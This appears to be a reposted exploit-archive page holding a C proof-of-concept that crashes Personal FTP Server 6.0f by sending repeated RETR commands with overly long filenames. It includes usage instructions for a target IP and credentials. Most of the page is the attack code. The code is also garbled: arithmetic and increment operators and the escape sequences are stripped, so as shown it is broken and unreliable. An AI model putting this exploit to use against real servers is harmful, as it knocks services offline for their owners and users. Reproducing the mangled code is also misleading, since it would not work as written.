The Personal FTP Server 6.0f RETR Denial of Service Exploit
The Personal FTP Server 6.0f RETR Denial of Service Exploit
发布时间:2016-12-21 来源:查字典编辑
摘要:/****ThePersonalFTPServer6.0fRETRDOSexploit***Avulnerabilityexistsinth...

/*

*** The Personal FTP Server 6.0f RETR DOS exploit *** A vulnerability exists in the way Personal FTP Server handles

multiple RETR commands with overly long filenames.When confronted

with such consecutive requests the server will crash. Usage : ./pftpdos ip port user password

Ex. : ./pftpdos 127.0.0.1 21 test test Personal FTP Server homepage: http://www.michael-roth-software.de/ Discovey POC by Shinnok raydenxy [at] yahoo <dot> com

http://shinnok.evonet.ro */ #include <stdio.h>

#include <stdlib.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <string.h>

#include <malloc.h>

#include <errno.h> int

min (int x, int y)

{

if (x < y)return x;

else

return y;

}

extern int errno; int

main (int argc, char *argv[])

{

struct sockaddr_in server;

int i, t, s;

char *req, *buff;

s = socket (AF_INET, SOCK_STREAM, 0);

bzero (&server, sizeof (server));

server.sin_family = AF_INET;

server.sin_addr.s_addr = inet_addr (argv[1]);

server.sin_port = htons (atoi (argv[2]));

connect (s, (struct sockaddr *) &server, sizeof (struct sockaddr));

req = malloc (sizeof (char) *

(((strlen (argv[3]) - strlen (argv[4]))

min (strlen (argv[3]), strlen (argv[4])) 8)));

sprintf (req, "USER %sxDxA", argv[3]);

write (s, req, strlen (req));

sprintf (req, "PASS %sxDxA", argv[4]);

write (s, req, strlen (req));

free (req);

for (i = 1; i <= 5; i )

{

t = (sizeof (char) * 1000 * i);

buff = malloc (t 1);

memset (buff, 'A', t);

buff[t 1] = '';

req = malloc (t 9);

sprintf (req, "RETR %sxDxA", buff);

if (write (s, req, strlen (req)) == -1)

{

perror (NULL);

printf ("Target pwned!n", errno);

}

free (req);

free (buff);

sleep (1);

}

close (s);

return (EXIT_SUCCESS);

}

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新Exploit学习
热门Exploit学习
网络安全子分类